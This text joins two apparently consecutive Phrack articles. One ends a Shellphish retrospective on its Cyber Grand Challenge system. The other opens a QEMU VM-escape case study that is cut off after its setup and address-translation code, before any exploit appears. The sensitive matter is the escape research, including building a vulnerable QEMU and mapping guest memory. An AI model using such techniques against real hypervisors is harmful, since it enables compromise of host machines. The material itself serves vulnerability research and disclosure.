We used fuzzing to identify crashes and POV Fuzzing to fuzz those crashes into POVs for challenge sets comprising of multiple binaries. Unfortunately, an accidental assert statement placed in the POV Fuzzing code caused it to opt out of any tasks involving multi‑CB challenge sets, disabling our multi‑CB exploitation capability.

* Network traffic synchronization

Due to a bug, the component that scheduled tasks to synchronize and analyze network traffic was set to download *all* recorded network traffic every minute. The volume of this traffic quickly caused it to exceed scheduling timeouts, and Mechanical Phish only analyzed network traffic for the first 15 rounds of the game.

* RB submission race condition

Due to a race condition between the component that determined what patches to submit and the component that actually submitted them, we had several instances where we submitted different patched binaries across different rounds, causing multiple rounds of lost uptime.

* Scheduling issues

Throughout the CFE, Mechanical Phish identified exploitable crashes in over 40 binaries. However, only 15 exploits were generated. Part, but not all, of this was due to the multi‑CB pipeline assertions. It seems that the rest was due to scheduling issues that we have not yet been able to identify.

* Slow task spawning

Our configuration of Kubernetes was unable to spawn tasks quickly enough to keep up with the job queue. Luckily, we identified this bug a few days before the CFE and put in some workarounds, though we did not have time to fix the root cause. This bug caused us to under‑utilize our infrastructure.

‑‑[ 007.002 ‑ Pwning Kings

Over the course of the CGC Final Event, the Mechanical Phish pwned the most challenges out of the competitors and stole the most flags. This was incredible to see, and is an achievement that we are extremely proud of. Furthermore, the Mechanical Phish stole the most flags even when taking into account only the first 49 rounds, to allow for the fact that Mayhem submitted its last flag on round 49.

We've collected the results in a helpful chart, with the teams sorted by the total amount of flags that the teams captured throughout the game.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Team | Flags Captured (first 49/all) | CSes Pwned (first 49/all)|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Shellphish | 206 / 402 | 6 / 15 | | CodeJitsu | 59 / 392 | 3 / 9 | | DeepRed | 154 / 265 | 3 / 6 | | TECHx | 66 / 214 | 2 / 4 | | Disekt | 101 / 210 | 5 / 6 | | ForAllSecure | 185 / 187 | 10 / 11 | | CSDS | 20 / 22 | 1 / 2 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Interestingly, Mayhem exploited an enormous amount of binaries before it went down, but the Mechanical Phish still achieved a higher exploitation score in the rounds that Mayhem was alive. One possibility is that the exploits launched by the Mechanical Phish were more reliable than those of Mayhem. However, its raw exploitation power should not be underestimated: within 49 rounds, before going off the grid, Mayhem managed to exploit 10 binaries. While the Mechanical Phish surpassed it over the entire game, this is still quite impressive.

‑‑[ 007.003 ‑ Patching Kings

To understand how effective our patches were, we calculated the number of flags lost (and the number of CSes on which flags were lost) throughout the game, both for the first 49 rounds (in which Mayhem was online) and for the entire game. As expected, because the Mechanical Phish patched every binary, we found that it was the least‑exploited CRS. Specifically, it only leaked flags on 12 challenge sets. The runner‑up in this sense (the second‑place team, TECHx), leaked flags on 14 binaries.

Interestingly, TECHx beat us on the total number of flags leaked. This makes sense ‑‑ they likely had some analysis to identify *when* they were being exploited, and patch only then. And, likely, their patches were more effective than our own, leading to a lower number of total flags leaked!

The results, sorted by the number of compromised challenges, are:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Team | Defended CS‑Rounds (49/all) | CSes Compromised (49/*) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Shellphish | 29 / 68 | 7 / 12 | | TECHx | 27 / 61 | 7 / 14 | | DeepRed | 32 / 87 | 6 / 15 | | ForAllSecure | 54 / 160 | 7 / 16 | | CodeJitsu | 61 / 104 | 9 / 16 | | Disekt | 66 / 127 | 9 / 17 | | CSDS | 108 / 189 | 9 / 18 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 007.004 ‑ Patching Effectiveness

Before the CFE, we tested our patches against the dataset of all CQE binaries released until that point, compiled with many different compilation flags. On this dataset, our chance of breaking a binary, or lowering performance to below 85% (the guesstimated threshold at which we would pull the binary back) was under 2%, and we decided to abandon patch performance/functionality testing. On the actual CFE dataset, we fared worse.

The CFE had 82 challenge sets. For these 82 challenge sets, we successfully generated patches for 78. Of these 78, we had to pull back 10 because the patch broke the binary and 7 because the patch lowered the performance of the binary below acceptable levels. This was considerably higher than expected. Furthermore, due to a race condition between the patch submission logic and the component that retrieves the game state, we did end up with situations where we would submit *multiple* patches, thinking that the round had not ended whereas, in reality, it had. In total, we made 107 RCB submissions throughout the game. This was the second‑highest amount, with only CodeJitsu submitting more (108).

Because very few challenges were exploited during the CFE, this was unequivocally the wrong choice. In total, we lost around 17000 points during the "downtime" rounds after the patch submissions alone.

‑‑[ 007.005 ‑ Alternate History Case Studies

Hindsight is 20/20. Even though we know, now, that we made the wrong choice regarding our patching strategy, it's still interesting to see what "could have been". In this section, we do that. To better understand the impact of our strategy decisions, we compute scores for several simulated CGC rounds where the Mechanical Phish undertook different strategies, and see what would have happened.

It's very important to point out that this is all fantasy. *Every* team can look back and consider things that they might have done differently. The most obvious one is Mayhem: had they avoided crashing, they might have absolutely dominated the competition, rather than relaxedly coasting to victory. However, every other team has other "what if" moments. We explore ours here purely out of curiosity.

* Mechanical Phish that never patched

To calculate our score in the absence of patching, we recalculated CFE scores, assuming that, any time an exploit would be launched on a CS against *any* team, the exploit would be run against us during that round and all subsequent rounds of that CS being in play. With this calculation, our score would be 267,065, which is 12,613 points higher than the patch strategy that we did choose and would put us in second place by a margin of over 5,000 points.

The prize for second place was $1,000,000. Patching at all cost us $250,000!

* Mechanical Phish that patched after attacking

Similar to the previous strategy, we calculated our score with a patch strategy that would delay patches until *after* we launched exploits on the corresponding CS. For the patches that would have been submitted, we used the same feedback that we received during the CFE itself. With this calculation, our score would be 271,506, which is 17,054 points higher than the patch strategy that we chose and would have put us in first place by a margin of over 1,500 points.

The prize for first place was $2,000,000. Patching stupidly cost us $1,250,000 and quite a bit of glory!

* Mechanical Phish that didn't do crap

We were curious: did we really have to push so hard and trade so much sanity away over the months leading up to the CGC? How would a team that did *nothing* do? That is, if a team connected and then ceased to play, would they fare better or worse than the other players? We ran a similar analysis to the "Never patch" strategy previously (i.e., we counted a CS as exploited for all rounds after its first exploitation against any teams), but this time removed any POV‑provided points. In the CFE, this "Team NOP" would have scored 255,678 points, barely *beating* Shellphish and placing 3rd in the CGC.

To be fair, this score calculation does not take into account the fact that teams might have withheld exploits because all opponents were patched against them. However, ForAllSecure patched only 10 binaries, so it does not seem likely that many exploits were held back due to the presence of patches.

One way of looking at this is that we could have simply enjoyed life for a year, shown up to the CGC, and walked away with $750,000. Another way of looking at this is that, despite us following the worst possible strategy in regards to patching, the technical aspects of our CRS were good enough to compensate and keep us in the top three positions!

‑‑[ 007.006 ‑ Scoring Difficulties

Similarly to this being the first time that autonomous systems compete against each other in a no‑humans‑allowed match, this was also the first time that such a match was *hosted*. The organizing team was up against an astonishing amount of challenges, from hardware to software to politics, and they pulled off an amazing event.

However, as in any complex event, some issues are bound to arise. In this case, the problem was that measuring program performance is hard. We found this out while creating our CRS, and DARPA experienced this difficulty during the final event. Specifically, we noticed two anomalies in the scoring data: slight disparities in the initial scoring of challenge sets, and performance "cross‑talk" between services.

* Initial CS Scoring

Patches can only be fielded on round 3 (after being submitted on round 2) of a binary being deployed. However we noticed that our availability scores were lower than our opponents, even on the *first* round of a challenge, when they could not yet be patched. In principle, these should all be the same, as a team has *no* way to influence this performance score. We calculated the average of the first‑round CS availability scores, presented in the table below. The scores vary. The difference between the "luckiest" team, regarding their first‑round CS score, and the "unluckiest" team was 1.6 percentage points. Unfortunately, Shellphish was that unluckiest team.

Since the availability score was used as a multiplier for a team's total score, if the "luckiest" and "unluckiest" had their "luck" swapped, this would compensate for a total score difference of 3.2%. That is a bigger ratio than the difference between second and third place (2.9%), third and fourth place (1.1%), fourth and fifth place (1.7%), and fifth and sixth place (0.4%). The winner (Mayhem) could not have been unseated by these perturbations, but the rest of the playing field could have looked rather different.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Team | Average First Round Availability |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| CSDS | 0.9985 |

| ForAllSecure | 0.9978 |

| Disekt | 0.9975 |

| TECHx | 0.9973 |

| CodeJitsu | 0.9971 |

| DeepRed | 0.9917 |

| Shellphish | 0.9824 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* Scoring Cross‑talk

We also noticed that performance measurements of one challenge seem to influence others. Specifically, when we patched the binary NRFIN_00066 on round 39, we saw the performance of *all* of our other, previously‑patched, binaries drop drastically for rounds 40 and 41. This caused us to pull back patches for *all* of our patched binaries, suffering the resulting downtime and decrease in security.

Anecdotally, we spoke to two other teams, DeepRed and CodeJitsu, that were affected by such scoring cross‑talk issues.

‑‑[ 008 ‑ Warez

We strongly believe in contributing back to the community. Shortly after qualifying for the Cyber Grand Challenge, we open‑sourced our binary analysis engine, angr. Likewise, after the CGC final event, we have released our entire Cyber Reasoning System. The Mechanical Phish is open source, and we hope that others will learn from it and improve it with us.

Of course, the fact that we directly benefit from open‑source software makes it quite easy for us to support open‑source software. Specifically, the Mechanical Phish would not exist without amazing work done by a large number of developers throughout the years. We would like to acknowledge the non‑obvious ones (i.e., of course we are all thankful for Linux and vim) here:

* AFL (lcamtuf.coredump.cx/afl) ‑ AFL was used as the fuzzer of every single competitor in the Cyber Grand Challenge, including us. We all owe lcamtuf a great debt.

* PyPy (pypy.org) ‑ PyPy JITed our crappy Python code, often increasing runtime by a factor of *5*.

* VEX (valgrind.org) ‑ VEX, Valgrind's Intermediate Representation of binary code, provided an excellent base on which to build angr, our binary analysis engine.

* Z3 (github.com/Z3Prover/z3) ‑ angr uses Z3 as its underlying constraint solver, allowing us to synthesize inputs to drive execution down specific paths.

* Boolector (fmv.jku.at/boolector) ‑ The POVs produced by the Mechanical Phish required complex reasoning about the relation between input and output data. To reduce implementation effort, we wanted to use a constraint solver to handle these relationships. Because Z3 is too huge and complicated to include in a POV, we ported Boolector to the CGC platform and included it in every POV the Mechanical Phish threw. * QEMU (qemu.org) ‑ The heavy analyses that angr carries out makes it considerably slower than qemu, so we used qemu when we needed lightweight, but fast analyses (such as dynamic tracing).

* Unicorn Engine (www.unicorn‑engine.org) ‑ angr uses Unicorn Engine to speed up its heavyweight analyses. Without Unicorn Engine, the number of exploits that the Mechanical Phish found would have undoubtedly been lower.

* Capstone Engine (www.capstone‑engine.org) ‑ We used Capstone Engine to augment VEX's analysis of x86, in cases when VEX did not provide enough details. This improved angr's CFG recovery, making our patching more reliable.

* Docker (docker.io) ‑ The individual pieces of our infrastructure ran in Docker containers, making the components of the Mechanical Phish well‑compartmentalized and easily upgradeable.

* Kubernetes (kubernetes.io) ‑ The distribution of docker containers across our cluster, and the load‑balancing and failover of resources, was handled by kubernetes. In our final setup, the Mechanical Phish was so resilient that it could probably continue to function in some form even if the rack was hit with a shotgun blast.

* Peewee (https://github.com/coleifer/peewee) ‑ After an initial false

start with a handcrafted HTTP API, we used Peewee as an ORM to our database.

* PostgreSQL (www.postgresql.org) ‑ All of the data that the Mechanical Phish dealt with, from the binaries to the testcases to the metadata about crashes and exploits, was stored in a ridiculously‑tuned and absurdly replicated Postgres database, ensuring speed and resilience.

As for the Mechanical Phish, this release is pretty huge, involving many components. This section serves as a place to collect them all for your reference. We split them into several categories:

‑‑[ 008.001 ‑ The angr Binary Analysis System

For completeness, we include the repositories of the angr project, which we open sourced after the CQE. However, we released several additional repositories after the CFE, so we list the whole project here.

* Claripy

Claripy is our data‑model abstraction layer, allowing us to reason about data symbolically, concretely, or in exotic domains such as VSA. It is available at https://github.com/angr/claripy.

* CLE.

CLE is our binary loader, with support for many different binary formats. It is available at https://github.com/angr/cle.

* PyVEX.

PyVEX provides a Python interface to the VEX intermediate representation, allowing angr to support multiple architectures. It is available at https://github.com/angr/pyvex.

* SimuVEX.

SimuVEX is our state model, allowing us to handle requirements of different analyses. It is available at https://github.com/angr/simuvex.

* angr.

The full‑program analysis layer, along with the user‑facing API, lives in the angr repository. It is available at https://github.com/angr/angr.

* Tracer.

This is a collection of code to assist with concolic tracing in angr. It is available at https://github.com/angr/tracer.

* Fidget.

During the CQE, we used a patching method, called Fidget, that resized and rearranged stack frames to prevent vulnerabilities. It is available at https://github.com/angr/fidget.

* Function identifier.

We implemented testcase‑based function identification, available at https://github.com/angr/identifier.

* angrop.

Our ROP compiler, allowing us to exploit complex vulnerabilities, is available at https://github.com/salls/angrop.

‑‑[ 008.002 ‑ Standalone Exploitation and Patching Tools

Some of the software developed for the CRS can be used outside of the context of autonomous security competitions. As such, we have collected it together in a separate place.

* Fuzzer.

We created a programmatic Python interface to AFL to allow us to use AFL as a module, within or outside of the CRS. It is available at https://github.com/shellphish/fuzzer.

* Driller.

Our symbolic‑assisted fuzzer, which we used as the crash discovery component of the CRS, is available at https://github.com/shellphish/driller.

* Rex.

The automatic exploitation system of the CRS (and usable as a standalone tool) is available at https://github.com/shellphish/rex.

* Patcherex.

Our automatic patching engine, which can also be used standalone, is available at https://github.com/shellphish/patcherex.

‑‑[ 008.003 ‑ The Mechanical Phish Itself

We developed enormous amounts of code to create one of the world's first autonomous security analysis systems. We gathered the code that is specific to the Mechanical Phish under the mechaphish github namespace.

* Meister.

The core scheduling component for analysis tasks is at https://github.com/mechaphish/meister.

* Ambassador.

The component that interacted with the CGC TI infrastructure is at https://github.com/mechaphish/ambassador.

* Scriba.

The component that makes decisions on which POVs and RBs to submit is available at https://github.com/mechaphish/scriba.

* Docker workers.

Most tasks were run inside docker containers. The glue code that launched these tasks available at https://github.com/mechaphish/worker.

* VM workers.

Some tasks, such as final POV testing, was done in a virtual machine running DECREE. The scaffolding to do this is available at https://github.com/mechaphish/vm‑workers.

* Farnsworth.

We used a central database as a data store, and used an ORM to access it. The ORM models are available at https://github.com/mechaphish/farnsworth.

* POVSim.

We ran our POVs in a simulator before testing them on the CGC VM (as the latter is a more expensive process). The simulator is available at https://github.com/mechaphish/povsim.

* CGRex.

Used only during the CQE, we developed a targeted patching approach that prevents binaries from crashing. It is available at https://github.com/mechaphish/cgrex.

* Compilerex.

To aid in the compilation of CGC POVs, we collected a set of templates and scripts, available at https://github.com/mechaphish/compilerex.

* Boolector.

We ported the Boolector SMT solver to the CGC platform so that we could include it in our POVs. It is available at https://github.com/mechaphish/cgc‑boolector.

* Setup.

Our scripts for deploying the CRS are at https://github.com/mechaphish/setup.

* Network dude.

The CRS component that retrieves network traffic from the TI server is at https://github.com/mechaphish/network_dude.

* Patch performance tester.

Though it was not ultimately used in the CFE, because performance testing is a very hard problem, our performance tester is at https://github.com/mechaphish/patch_performance.

* Virtual competition.

We extended the provided mock API of the central server to be able to more thoroughly exercise Mechanical Phish. Our extensions are available at https://github.com/mechaphish/virtual‑competitions.

* Colorguard.

Our Type‑2 exploit approach, which uses an embedded constraint solver to recover flag data, is available at https://github.com/mechaphish/colorguard.

* MultiAFL.

We created a port of AFL that supports analyzing multi‑CB challenge sets. It is available at https://github.com/mechaphish/multiafl.

* Simulator.

To help plan our strategy, we wrote a simulation of the CGC. It is available at https://github.com/mechaphish/simulator.

* POV Fuzzing.

In addition to Rex, we used a backup strategy of "POV Fuzzing", where a crashing input would be fuzzed to determine relationships that could be used to create a POV. These fuzzers are available at https://github.com/mechaphish/pov_fuzzing.

* QEMU CGC port.

We ported QEMU to work on DECREE binaries. This port is available at https://github.com/mechaphish/qemu‑cgc.

‑‑[ 009 ‑ Looking Forward

Shellphish is a dynamic team, and we are always looking for the next challenge. What is next? Even we might not know, but we can speculate in this section!

* Limitations of the Mechanical Phish

The Mechanical Phish is a glorified research prototype, and significant engineering work is needed to bring it to a point where it is usable in the real world. Mostly, this takes the form of implementing the environment model of operating systems other than DECREE. For example, the Mechanical Phish can currently analyze, exploit, and patch Linux binaries, but only if they stick to a very limited number of system calls.

We open‑sourced the Mechanical Phish in the hopes that work like this can live on after the CGC, and it is our sincere hope that the CRS continues to evolve.

* Cyber Grand Challenge 2?

As soon as the Cyber Grand Challenge ended, there were discussions about whether or not there would be a CGC2. Generally, DARPA tries to push fundamental advances: they did the self‑driving Grand Challenge more than once years, but this seems to be because no teams won it the first time. The fact that they have not done a self‑driving Grand Challenge since implies that DARPA is not in the business of running these huge competitions just for the heck of it: they are trying to push research forward.

In that sense, it would surprise us if there was a CGC2, on DECREE OS, with the same format as it exists now. For such a game to happen, the community would probably have to organize it themselves. With the reduced barrier to entry (in the form of an open‑sourced Mechanical Phish), such a competition could be pretty interesting. Maybe after some more post‑CGC recovery, we'll look into it!

Of course, we can also sit back and see what ground‑breaking concept DARPA comes up with for another Grand Challenge. Maybe there'll be hacking in that one as well.

* Shellphish Projects

The Mechanical Phish and angr are not Shellphish's only endeavors. We are also very active in CTFs, and one thing to come out of this is the development of various resources to help newbies to CTF. For example, we have put together a "toolset" bundle to help get people started in security with common security tools (github.com/zardus/ctf‑tools), and, in the middle of the CGC insanity, ran a series of hack meetings in the university to teach people, by example, how to perform heap meta‑data attacks (github.com/shellphish/how2heap). We're continuing down that road, in fact. Monitor our github for our next big thing!

`

‑‑[ 010 ‑ References

[Driller16] Driller: Augmenting Fuzzing Through Selective Symbolic Execution

Nick Stephens, John Grosen, Christopher Salls, Andrew Dutcher, Ruoyu Wang, Jacopo Corbetta, Yan Shoshitaishvili, Christopher Kruegel, Giovanni Vigna Proceedings of the Network and Distributed System Security Symposium (NDSS) San Diego, CA February 2016

[ArtOfWar16] (State of) The Art of War: Offensive Techniques in Binary Analysis

Yan Shoshitaishvili, Ruoyu Wang, Christopher Salls, Nick Stephens, Mario Polino, Andrew Dutcher, John Grosen, Siji Feng, Christophe Hauser, Christopher Kruegel, Giovanni Vigna

Proceedings of the IEEE Symposium on Security and Privacy San Jose, CA May 2016

[Ramblr17] Ramblr: Making Reassembly Great Again

Ruoyu Wang, Yan Shoshitaishvili, Antonio Bianchi, Aravind Machiry, John Grosen, Paul Grosen, Christopher Kruegel, Giovanni Vigna Proceedings of the Network and Distributed System Security Symposium (NDSS) San Diego, CA February 2017

[angr] http://angr.io

[Inversion] https://en.wikipedia.org/wiki/Sleep_inversion

[CGCFAQ] https://cgc.darpa.mil/CGC_FAQ.pdf

VM escape - QEMU Case Study

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x05 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ VM escape ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ QEMU Case Study ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Mehdi Talbi ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Paul Fariello ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

1 ‑ Introduction

2 ‑ KVW/QEMU Overview

2.1 ‑ Workspace Environment

2.2 ‑ QEMU Memory Layout

2.3 ‑ Address Translation

3 ‑ Memory Leak Exploitation

3.1 ‑ The Vulnerable Code

3.2 ‑ Setting up the Card

3.3 ‑ Exploit

4 ‑ Heap‑based Overflow Exploitation

4.1 ‑ The Vulnerable Code

4.2 ‑ Setting up the Card

4.3 ‑ Reversing CRC

4.4 ‑ Exploit

5 ‑ Putting All Together

5.1 ‑ RIP Control

5.2 ‑ Interactive Shell

5.3 ‑ VM‑Escape Exploit

5.4 ‑ Limitations

6 ‑ Conclusions

7 ‑ Greets

8 ‑ References

9 ‑ Source Code

‑‑[ 1 ‑ Introduction

Virtual machines are nowadays heavily deployed for personal use or within the enterprise segment. Network security vendors use for instance different VMs to analyze malwares in a controlled and confined environment. A natural question arises: can the malware escapes from the VM and execute code on the host machine?

Last year, Jason Geffner from CrowdStrike, has reported a serious bug in QEMU affecting the virtual floppy drive code that could allow an attacker to escape from the VM [1] to the host. Even if this vulnerability has received considerable attention in the netsec community ‑ probably because it has a dedicated name (VENOM) ‑ it wasn't the first of it's kind.

In 2011, Nelson Elhage [2] has reported and successfully exploited a vulnerability in QEMU's emulation of PCI device hotplugging. The exploit is available at [3].

Recently, Xu Liu and Shengping Wang, from Qihoo 360, have showcased at HITB 2016 a successful exploit on KVM/QEMU. They exploited two vulnerabilities (CVE‑2015‑5165 and CVE‑2015‑7504) present in two different network card device emulator models, namely, RTL8139 and PCNET. During their presentation, they outlined the main steps towards code execution on the host machine but didn't provide any exploit nor the technical details to reproduce it.

In this paper, we provide a in‑depth analysis of CVE‑2015‑5165 (a memory‑leak vulnerability) and CVE‑2015‑7504 (a heap‑based overflow vulnerability), along with working exploits. The combination of these two exploits allows to break out from a VM and execute code on the target host. We discuss the technical details to exploit the vulnerabilities on QEMU's network card device emulation, and provide generic techniques that could be re‑used to exploit future bugs in QEMU. For instance an interactive bindshell that leverages on shared memory areas and shared code.

‑‑[ 2 ‑ KVM/QEMU Overview

KVM (Kernal‑based Virtual Machine) is a kernel module that provides full virtualization infrastructure for user space programs. It allows one to run multiple virtual machines running unmodified Linux or Windows images.

The user space component of KVM is included in mainline QEMU (Quick Emulator) which handles especially devices emulation.

‑‑‑‑[ 2.1 ‑ Workspace Environment

In effort to make things easier to those who want to use the sample code given throughout this paper, we provide here the main steps to reproduce our development environment.

Since the vulnerabilities we are targeting has been already patched, we need to checkout the source for QEMU repository and switch to the commit that precedes the fix for these vulnerabilities. Then, we configure QEMU only for target x86_64 and enable debug:

$ git clone git://git.qemu‑project.org/qemu.git

$ cd qemu

$ git checkout bd80b59

$ mkdir ‑p bin/debug/native

$ cd bin/debug/native

$ ../../../configure ‑‑target‑list=x86_64‑softmmu ‑‑enable‑debug \ $ ‑‑disable‑werror

$ make

In our testing environment, we build QEMU using version 4.9.2 of Gcc.

For the rest, we assume that the reader has already a Linux x86_64 image that could be run with the following command line:

$ ./qemu‑system‑x86_64 ‑enable‑kvm ‑m 2048 ‑display vnc=:89 \ $ ‑netdev user,id=t0, ‑device rtl8139,netdev=t0,id=nic0 \ $ ‑netdev user,id=t1, ‑device pcnet,netdev=t1,id=nic1 \ $ ‑drive file=<path_to_image>,format=qcow2,if=ide,cache=writeback

We allocate 2GB of memory and create two network interface cards: RTL8139 and PCNET.

We are running QEMU on a Debian 7 running a 3.16 kernel on x_86_64 architecture.

‑‑‑‑[ 2.2 ‑ QEMU Memory Layout

The physical memory allocated for the guest is actually a mmapp'ed private region in the virtual address space of QEMU. It's important to note that the PROT_EXEC flag is not enabled while allocating the physical memory of the guest.

The following figure illustrates how the guest's memory and host's memory cohabits.

Guest' processes

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Virtual addr space | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

\__ Page Table \__

\

| Guest kernel

+‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Guest's phy. memory | | |

+‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

\__

\

| QEMU process |

+‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Virtual addr space | |

+‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

\__ Page Table \__

\

|

+‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Physical memory | |

+‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Additionaly, QEMU reserves a memory region for BIOS and ROM. These mappings are available in QEMU's maps file:

7f1824ecf000‑7f1828000000 rw‑p 00000000 00:00 0 7f1828000000‑7f18a8000000 rw‑p 00000000 00:00 0 [2 GB of RAM] 7f18a8000000‑7f18a8992000 rw‑p 00000000 00:00 0 7f18a8992000‑7f18ac000000 ‑‑‑p 00000000 00:00 0 7f18b5016000‑7f18b501d000 r‑xp 00000000 fd:00 262489 [first shared lib] 7f18b501d000‑7f18b521c000 ‑‑‑p 00007000 fd:00 262489 ... 7f18b521c000‑7f18b521d000 r‑‑p 00006000 fd:00 262489 ... 7f18b521d000‑7f18b521e000 rw‑p 00007000 fd:00 262489 ...

... more shared libs]

7f18bc01c000‑7f18bc5f4000 r‑xp 00000000 fd:01 30022647 [qemu‑system‑x86_64] 7f18bc7f3000‑7f18bc8c1000 r‑‑p 005d7000 fd:01 30022647 ... 7f18bc8c1000‑7f18bc943000 rw‑p 006a5000 fd:01 30022647 ...

7f18bd328000‑7f18becdd000 rw‑p 00000000 00:00 0 [heap] 7ffded947000‑7ffded968000 rw‑p 00000000 00:00 0 [stack] 7ffded968000‑7ffded96a000 r‑xp 00000000 00:00 0 [vdso] 7ffded96a000‑7ffded96c000 r‑‑p 00000000 00:00 0 [vvar] ffffffffff600000‑ffffffffff601000 r‑xp 00000000 00:00 0 [vsyscall]

A more detailed explanation of memory management in virtualized environment can be found at [4].

‑‑‑‑[ 2.3 ‑ Address Translation

Within QEMU there exist two translation layers:

‑ From a guest virtual address to guest physical address. In our exploit, we need to configure network card devices that require DMA access. For example, we need to provide the physical address of Tx/Rx buffers to correctly configure the network card devices.

‑ From a guest physical address to QEMU's virtual address space. In our exploit, we need to inject fake structures and get their precise address in QEMU's virtual address space.

On x64 systems, a virtual address is made of a page offset (bits 0‑11) and a page number. On linux systems, the pagemap file enables userspace process with CAP_SYS_ADMIN privileges to find out which physical frame each virtual page is mapped to. The pagemap file contains for each virtual page a 64‑bit value well‑documented in kernel.org [5]:

‑ Bits 0‑54 : physical frame number if present.

‑ Bit 55 : page table entry is soft‑dirty.

‑ Bit 56 : page exclusively mapped.

‑ Bits 57‑60 : zero

‑ Bit 61 : page is file‑page or shared‑anon.

‑ Bit 62 : page is swapped.

‑ Bit 63 : page is present.

To convert a virtual address to a physical one, we rely on Nelson Elhage's code [3]. The following program allocates a buffer, fills it with the string "Where am I?" and prints its physical address:

‑‑‑[ mmu.c ]‑‑‑

#include <stdio.h>

#include <string.h>

#include <stdint.h>

#include <stdlib.h>

#include <fcntl.h>

#include <assert.h>

#include <inttypes.h>

#define PAGE_SHIFT 12

#define PAGE_SIZE (1 << PAGE_SHIFT)

#define PFN_PRESENT (1ull << 63)

#define PFN_PFN ((1ull << 55) ‑ 1)

int fd;

uint32_t page_offset(uint32_t addr)

{

return addr & ((1 << PAGE_SHIFT) ‑ 1);

}

uint64_t gva_to_gfn(void *addr)

{

uint64_t pme, gfn;

size_t offset;

offset = ((uintptr_t)addr >> 9) & ~7;

lseek(fd, offset, SEEK_SET);

read(fd, &pme, 8);

if (!(pme & PFN_PRESENT))

return ‑1;

gfn = pme & PFN_PFN;

return gfn;

}

uint64_t gva_to_gpa(void *addr)

{

uint64_t gfn = gva_to_gfn(addr);

assert(gfn != ‑1);

return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);

}

int main()

{

uint8_t *ptr;

uint64_t ptr_mem;

fd = open("/proc/self/pagemap", O_RDONLY);

if (fd < 0) {

perror("open");

exit(1);

}

ptr = malloc(256);

strcpy(ptr, "Where am I?");

printf("%s\n", ptr);

ptr_mem = gva_to_gpa(ptr);

printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);

getchar();

return 0;

}

If we run the above code inside the guest and attach gdb to the QEMU process, we can see that our buffer is located within the physical address space allocated for the guest. More precisely, we note that the outputted address is actually an offset from the base address of the guest physical memory:

root@debian:~# ./mmu

Where am I?

Your physical address is at 0x78b0d010

(gdb) info proc mappings

process 14791

Mapped address spaces:

Start Addr End Addr Size Offset objfile 0x7fc314000000 0x7fc314022000 0x22000 0x0 0x7fc314022000 0x7fc318000000 0x3fde000 0x0 0x7fc319dde000 0x7fc31c000000 0x2222000 0x0 0x7fc31c000000 0x7fc39c000000 0x80000000 0x0 ...

(gdb) x/s 0x7fc31c000000 + 0x78b0d010

0x7fc394b0d010: "Where am I?"

‑‑[ 3 ‑ Memory Leak Exploitation

